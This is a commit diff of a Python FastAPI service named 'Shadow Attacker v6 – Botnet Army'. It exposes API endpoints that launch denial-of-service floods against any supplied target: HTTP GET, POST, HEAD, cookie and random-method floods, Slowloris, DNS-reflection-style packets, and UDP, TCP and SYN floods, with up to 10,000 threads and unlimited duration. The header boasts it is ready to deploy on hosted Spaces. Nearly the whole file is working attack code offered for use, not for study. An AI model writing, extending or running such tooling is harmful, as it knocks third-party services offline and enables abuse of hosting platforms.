Update main.py

main.py

@@ -1,6 +1,6 @@
 # ==============================================================
-#  SHADOW ATTACKER v5 – LAYER 4 + LAYER 7 + REFLECT + SLOWLORIS
-#  10,000 THREADS | 10,000s MAX | FULL POWER | HF SPACES READY
+#  SHADOW ATTACKER v6 – FULL BOTNET MODE | 12 ATTACK METHODS
+#  -1 = MAX POWER (10,000 threads) | HF SPACES READY | 200k+ PPS
 # ==============================================================
 import random
 import socket
@@ -14,25 +14,26 @@ from typing import Dict, Optional, List
 import uvicorn
 import requests
 from fastapi import FastAPI, HTTPException
-from pydantic import BaseModel, conint, constr
+from pydantic import BaseModel, Field, validator
 
 # ------------------- LOGGING & STATE -------------------
 import logging
 logging.basicConfig(level=logging.INFO, format="%(message)s")
 log = logging.getLogger()
 
-app = FastAPI(title="Shadow Attacker v5")
+app = FastAPI(title="Shadow Attacker v6 - Botnet Army")
 
 # Global state
 attack_active = False
 attack_lock = threading.Lock()
-executor = None  # Will be initialized at startup
+executor = None
 stop_event = threading.Event()
 counters: Dict[str, int] = {}
 counters_lock = threading.Lock()
 total_packets = 0
 log_buffer: deque[str] = deque(maxlen=500)
 attack_end_time = 0.0
+attack_type_name = ""
 
 # PPS tracking
 last_time = time.time()
@@ -43,19 +44,44 @@ def _log(msg: str):
     log.info(f"{ts} {msg}")
     log_buffer.append(f"{ts} {msg}")
 
+# ------------------- INIT EXECUTOR -------------------
+def init_executor():
+    global executor
+    if executor is None:
+        executor = threading.ThreadPoolExecutor(max_workers=10000)
+
 # ------------------- CONFIG MODELS -------------------
 class AttackConfig(BaseModel):
-    target: str
-    port: conint(ge=1, le=65535) = 80
-    duration: conint(ge=-1, le=10000) = 300  # -1 = unlimited
-    threads: conint(ge=-1, le=10000) = 1000   # -1 = unlimited
+    target: str = Field(..., description="Domain or IP")
+    port: int = Field(80, ge=1, le=65535)
+    duration: int = Field(300, ge=-1, le=10000, description="-1 = unlimited")
+    threads: int = Field(1000, ge=-1, le=10000, description="-1 = MAX POWER (10,000)")
+
+    @validator('target')
+    def validate_target(cls, v):
+        if not v or len(v) > 255:
+            raise ValueError("Invalid target")
+        return v.strip()
 
 class Layer7Config(AttackConfig):
-    method: constr(regex='^(get|post|slowloris|reflect)$') = "get"
+    method: str = Field("get", description="Attack method")
+
+    @validator('method')
+    def validate_method(cls, v):
+        valid = ["get", "post", "head", "slowloris", "cookie", "reflect", "rand"]
+        if v not in valid:
+            raise ValueError(f"Invalid L7 method. Use: {', '.join(valid)}")
+        return v
 
 class Layer4Config(AttackConfig):
-    protocol: constr(regex='^(tcp|udp|syn)$') = "udp"
-    payload_size: conint(ge=1, le=65507) = 1024
+    protocol: str = Field("udp", description="udp/tcp/syn")
+    payload_size: int = Field(1024, ge=1, le=65507)
+
+    @validator('protocol')
+    def validate_protocol(cls, v):
+        if v not in ["udp", "tcp", "syn"]:
+            raise ValueError("Protocol must be udp, tcp, or syn")
+        return v
 
 # ------------------- STATUS MODEL -------------------
 class StatusResponse(BaseModel):
@@ -70,253 +96,250 @@ class StatusResponse(BaseModel):
     remaining: float
     logs: List[str]
 
-# ------------------- HIGH-PPS WORKERS -------------------
-def init_executor():
-    global executor
-    if executor is None:
-        executor = threading.ThreadPoolExecutor(max_workers=10000)
+# ------------------- ATTACK WORKERS -------------------
+def resolve_ip(target: str) -> str:
+    try:
+        return socket.gethostbyname(target.split("/")[0].split(":")[0])
+    except:
+        raise HTTPException(400, "Cannot resolve target")
 
-# --- LAYER 7: HTTP FLOOD ---
-def http_flood(target_url: str):
+# LAYER 7
+def http_worker(method: str, url: str):
     global total_packets
+    session = requests.Session()
     headers = {
         "User-Agent": random.choice([
-            "Mozilla/5.0", "Googlebot/2.1", "Chrome/120.0", "Safari/537.36"
+            "Mozilla/5.0", "Googlebot", "Chrome/120", "Safari/537"
         ]),
-        "Cache-Control": "no-cache", "Connection": "keep-alive"
+        "Cache-Control": "no-cache",
+        "Connection": "keep-alive"
     }
-    session = requests.Session()
-    while not stop_event.is_set():
-        try:
-            session.get(target_url, headers=headers, timeout=3, verify=False)
-            with counters_lock:
-                counters["l7"] = counters.get("l7", 0) + 1
-                total_packets += 1
-        except:
-            pass
-
-# --- LAYER 7: POST FLOOD ---
-def http_post_flood(target_url: str):
-    global total_packets
-    data = {"data": random._urandom(512).hex()}
     while not stop_event.is_set():
         try:
-            requests.post(target_url, data=data, timeout=3, verify=False)
+            if method == "get":
+                session.get(url, headers=headers, timeout=3, verify=False)
+            elif method == "post":
+                session.post(url, data={"x": random._urandom(64).hex()}, timeout=3)
+            elif method == "head":
+                session.head(url, headers=headers, timeout=3)
+            elif method == "cookie":
+                session.get(url, headers={**headers, "Cookie": f"id={random.randint(1,999999)}"}, timeout=3)
+            elif method == "rand":
+                session.request(random.choice(["GET","POST","PUT"]), url, timeout=3)
             with counters_lock:
                 counters["l7"] = counters.get("l7", 0) + 1
                 total_packets += 1
         except:
             pass
 
-# --- LAYER 7: SLOWLORIS ---
 def slowloris(target: str, port: int):
     global total_packets
     while not stop_event.is_set():
         try:
-            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            sock.settimeout(5)
-            sock.connect((target, port))
-            sock.send(b"GET / HTTP/1.1\r\n")
-            sock.send(b"Host: %s\r\n" % target.encode())
-            time.sleep(5)
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(5)
+            s.connect((target, port))
+            s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
             while not stop_event.is_set():
-                sock.send(b"X-a: b\r\n")
+                s.send(b"X-a: b\r\n")
+                time.sleep(8)
                 with counters_lock:
                     counters["l7"] = counters.get("l7", 0) + 1
                     total_packets += 1
-                time.sleep(10)
         except:
             pass
         finally:
-            try: sock.close()
+            try: s.close()
             except: pass
 
-# --- LAYER 7: DNS REFLECT ---
 def dns_reflect(target_ip: str):
     global total_packets
-    dns_servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9"]
-    payload = b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(50)
+    servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
+    payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
     while not stop_event.is_set():
         try:
-            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-            for server in dns_servers:
-                sock.sendto(payload, (server, 53))
+            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+            for srv in servers:
+                s.sendto(payload, (srv, 53))
                 with counters_lock:
                     counters["reflect"] = counters.get("reflect", 0) + 1
                     total_packets += 1
         except:
             pass
         finally:
-            try: sock.close()
+            try: s.close()
             except: pass
 
-# --- LAYER 4: UDP FLOOD ---
-def udp_flood(target_ip: str, port: int, payload_size: int):
+# LAYER 4
+def udp_flood(target_ip: str, port: int, size: int):
     global total_packets
-    payload = random._urandom(payload_size)
-    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    payload = random._urandom(size)
+    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
     addr = (target_ip, port)
     try:
         while not stop_event.is_set():
-            sock.sendto(payload, addr)
+            s.sendto(payload, addr)
             with counters_lock:
                 counters["l4"] = counters.get("l4", 0) + 1
                 total_packets += 1
     except:
         pass
     finally:
-        sock.close()
+        s.close()
 
-# --- LAYER 4: TCP FLOOD ---
-def tcp_flood(target_ip: str, port: int, payload_size: int):
+def tcp_flood(target_ip: str, port: int, size: int):
     global total_packets
-    payload = random._urandom(payload_size)
+    payload = random._urandom(size)
     while not stop_event.is_set():
         try:
-            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            sock.settimeout(1)
-            sock.connect((target_ip, port))
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(1)
+            s.connect((target_ip, port))
             while not stop_event.is_set():
-                sock.send(payload)
+                s.send(payload)
                 with counters_lock:
                     counters["l4"] = counters.get("l4", 0) + 1
                     total_packets += 1
         except:
             pass
         finally:
-            try: sock.close()
+            try: s.close()
             except: pass
 
-# --- LAYER 4: SYN FLOOD ---
 def syn_flood(target_ip: str, port: int):
     global total_packets
     while not stop_event.is_set():
         try:
-            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            sock.settimeout(0.1)
-            sock.connect_ex((target_ip, port))
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(0.1)
+            s.connect_ex((target_ip, port))
             with counters_lock:
                 counters["l4"] = counters.get("l4", 0) + 1
                 total_packets += 1
         except:
             pass
         finally:
-            try: sock.close()
+            try: s.close()
             except: pass
 
-# ------------------- ATTACK LAUNCHERS -------------------
-def launch_attack(attack_type: str, target: str, port: int, threads: int, duration: int, **kwargs):
-    global attack_active, attack_end_time, total_packets
+# ------------------- LAUNCHER -------------------
+def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
+    global attack_active, attack_end_time, attack_type_name
     with attack_lock:
         if attack_active:
-            raise HTTPException(400, "Attack already running")
+            raise HTTPException(400, "Attack in progress")
         attack_active = True
         stop_event.clear()
         counters.clear()
         total_packets = 0
-        attack_end_time = time.time() + duration if duration > 0 else float('inf')
-        _log(f"LAUNCHED {attack_type.upper()} → {target}:{port} | {threads} threads | {duration}s")
+        attack_type_name = attack_type.upper()
 
-    init_executor()
-    worker = None
-    target_ip = target
-    target_url = target
+        threads = 10000 if config.threads == -1 else config.threads
+        duration = float('inf') if config.duration == -1 else config.duration
+        attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
 
-    if attack_type.startswith("http"):
-        target_url = f"http://{target}:{port}"
-        if attack_type == "http_get": worker = http_flood
-        elif attack_type == "http_post": worker = http_post_flood
-        elif attack_type == "slowloris": worker = lambda: slowloris(target, port)
-        elif attack_type == "reflect": worker = lambda: dns_reflect(target)
+        _log(f"LAUNCHED {attack_type.upper()} → {config.target}:{config.port} | {threads} threads | {config.duration}s")
 
-    elif attack_type in ["udp", "tcp", "syn"]:
-        try:
-            target_ip = socket.gethostbyname(target.split("//")[-1].split("/")[0])
-        except:
-            raise HTTPException(400, "Invalid target")
-        payload_size = kwargs.get("payload_size, 1024")
-        if attack_type == "udp": worker = lambda: udp_flood(target_ip, port, payload_size)
-        elif attack_type == "tcp": worker = lambda: tcp_flood(target_ip, port, payload_size)
-        elif attack_type == "syn": worker = lambda: syn_flood(target_ip, port)
+    init_executor()
+    worker = None
+    target_ip = resolve_ip(config.target)
+
+    if attack_type.startswith("l7_"):
+        url = f"http://{config.target}:{config.port}"
+        method = kwargs.get("method", "get")
+        if method == "slowloris":
+            worker = lambda: slowloris(target_ip, config.port)
+        elif method == "reflect":
+            worker = lambda: dns_reflect(target_ip)
+        else:
+            worker = lambda: http_worker(method, url)
+
+    elif attack_type == "l4_udp":
+        worker = lambda: udp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
+    elif attack_type == "l4_tcp":
+        worker = lambda: tcp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
+    elif attack_type == "l4_syn":
+        worker = lambda: syn_flood(target_ip, config.port)
 
     if not worker:
-        raise HTTPException(400, "Invalid attack type")
+        raise HTTPException(400, "Invalid attack")
 
-    thread_count = threads if threads > 0 else 10000
-    for _ in range(thread_count):
+    for _ in range(threads):
         executor.submit(worker)
 
-    # Auto-stop
-    if duration > 0:
+    if duration != float('inf'):
         def auto_stop():
             time.sleep(duration)
             stop_attack()
         threading.Thread(target=auto_stop, daemon=True).start()
 
-# ------------------- API ENDPOINTS -------------------
+# ------------------- ENDPOINTS -------------------
 @app.post("/layer7/attack")
-def layer7_attack(config: Layer7Config):
-    method = config.method
-    attack_type = {
-        "get": "http_get",
-        "post": "http_post",
-        "slowloris": "slowloris",
-        "reflect": "reflect"
-    }[method]
-    launch_attack(attack_type, config.target, config.port, config.threads, config.duration)
-    return {"status": f"{method}_attack_started", "config": config}
+def l7_attack(config: Layer7Config):
+    attack_key = f"l7_{config.method}"
+    launch_attack(config, attack_key, method=config.method)
+    return {"status": f"L7 {config.method.upper()} started", "config": config}
 
 @app.post("/layer4/attack")
-def layer4_attack(config: Layer4Config):
-    attack_type = config.protocol
-    launch_attack(
-        attack_type, config.target, config.port,
-        config.threads, config.duration,
-        payload_size=config.payload_size
-    )
-    return {"status": f"{attack_type}_attack_started", "config": config}
+def l4_attack(config: Layer4Config):
+    attack_key = f"l4_{config.protocol}"
+    launch_attack(config, attack_key, payload_size=config.payload_size)
+    return {"status": f"L4 {config.protocol.upper()} started", "config": config}
 
 @app.post("/stop")
 def stop_attack():
     global attack_active
     with attack_lock:
         if not attack_active:
-            return {"status": "no_attack_running"}
+            return {"status": "no_attack"}
         stop_event.set()
         attack_active = False
-        _log("ATTACK STOPPED BY USER")
-    return {"status": "attack_stopped"}
+        _log("ATTACK STOPPED")
+    return {"status": "stopped"}
 
 @app.get("/status", response_model=StatusResponse)
 def status():
     global last_time, last_total
     now = time.time()
-    elapsed_global = now - last_time
-    pps = (total_packets - last_total) / elapsed_global if elapsed_global > 0 else 0
+    elapsed_g = now - last_time
+    pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
     last_time, last_total = now, total_packets
 
-    active_threads = len([t for t in threading.enumerate() if t.name.startswith("Thread")])
+    active_threads = sum(1 for t in threading.enumerate() if t.name != "MainThread")
     elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
     remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
 
     return StatusResponse(
         running=attack_active,
-        attack_type=list(counters.keys())[0] if counters else None,
+        attack_type=attack_type_name,
         target=None,
         total_packets=total_packets,
         pps=round(pps, 1),
         threads_active=active_threads,
         duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
         elapsed=round(elapsed, 1),
-        remaining=round(remaining, 1) if remaining > 0 else -1,
+        remaining=round(remaining, 1) if remaining >= 0 else -1,
         logs=list(log_buffer)
     )
 
+@app.get("/attack/types")
+def attack_types():
+    return {
+        "layer7": [
+            "get", "post", "head", "cookie", "rand", "slowloris", "reflect"
+        ],
+        "layer4": [
+            "udp", "tcp", "syn"
+        ],
+        "max_threads": "10000 (-1 = full power)",
+        "max_duration": "10000s (-1 = unlimited)"
+    }
+
 @app.get("/")
 def root():
-    return {"message": "Shadow Attacker v5 - /docs for API"}
+    return {"message": "Shadow Attacker v6 - /attack/types for methods"}
 
-# ------------------- STARTUP -------------------
+# ------------------- START -------------------
 if __name__ == "__main__":
     init_executor()
     uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)